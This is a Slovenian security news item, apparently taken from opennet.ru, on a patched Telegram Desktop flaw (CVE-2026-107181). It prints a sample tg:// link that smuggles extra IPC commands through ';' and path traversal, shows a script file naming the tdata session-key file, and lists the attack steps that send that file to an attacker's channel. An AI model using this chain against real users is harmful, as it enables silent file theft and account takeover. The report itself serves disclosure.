Razkriti so podrobnosti in metoda izkoriščanja ranljivosti (CVE-2026-107181) v Telegram Desktop, uradnem odjemalcu Telegram za namizne sisteme. Težava je posledica neustrezne obdelave neekraniranih ločilnih znakov v IPC ukazih, kar je omogočilo, da je ob kliku na poslano povezavo zahteval prenos katerega koli datoteke iz sistema žrtve napadalcu, vključno z datotekami z sejnimi ključi, ki jih je mogoče uporabiti za prevzem računa v Telegramu. Ranljivost je bila odpravljena v različici Telegram Desktop 7.2.9.
Ob kliku na povezave 'tg://' operacijski sistem zažene povezano aplikacijo Telegram Desktop. Če je v sistemu že zagnan druga instanca te aplikacije, zagnani proces prenese povezavo prek vtičnice s pomočjo IPC vmesnika. Težava je v tem, da če navedete znak ';' med parametri povezave (na primer 'tg://x?a=1;OPEN...'), se vsebina razdeli in deli, ki sledijo znaku ';', se obravnavajo kot ločena ukaza.
Za izvedbo napada se uporablja ukaz OPEN skupaj z URI shemo 'interpret:', namenjeno za zagon skriptov preko IPC, ki so bili uporabljeni za samodejno pošiljanje novih različic v kanale. Skript predstavlja predhodno določen lokalni datoteke, v kateri je navedena datoteka, ki se pošlje v kanal, in identifikator kanala. Pot do skriptov se obdeluje glede na predhodno določeno sistemsko poddirektorij, a zaradi pomanjkanja čiščenja '..' v datotečnih poteh ima napadalec možnost dostopati do datotek, shranjenih znotraj osnovnega direktorija. Na primer, lahko naloži datoteko v svojo telegram skupino, nato pa se sklicuje na to datoteko kot skript ter pripravi povezavo tipa:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Faze izvajanja napada:
- Napadalec doda žrtev v svojo skupino (pri privzetih nastavitvah dodajanje ne zahteva potrditev dodane osebe) in v to skupino pošlje besedilno datoteko, v kateri je navedena kanal in pot do skripta. Telegram bo to datoteko shranil v predhodno določen sistemski poddirektorij, ko žrtev vstopi v skupino.
kanal: 2005234537
datoteka: tdata/D877F783D5D3EF8Cs - Napadalec žrtvi pošlje nedolžno vidno povezavo na svojo povezavo (na primer 'https://coolsite.org'), ki se ob odprtju prek preusmeritve spremeni v strežnikom napadalca na URI obliki ‘tg://x?a=1;OPEN:interpret:...;OPEN:interpret:....
- Ob klikom na povezavo brskalnik aktivira obdelovalec URI „tg://“, ki sproži omenjeno zaporedje ukazov, kar privede do pošiljanja datotek v kanal napadalca brez kakršnih koli obvestil in brez potrditve pošiljanja.
- Ko napadalec pridobi datoteke iz podmape tdata z ključem za šifriranje in avtorizacijo, lahko v odsotnosti lokalne geslo, ki ga nastavite uporabnik, klonira povezavo žrtve na svojem napravi.
Izvor: opennet.ru
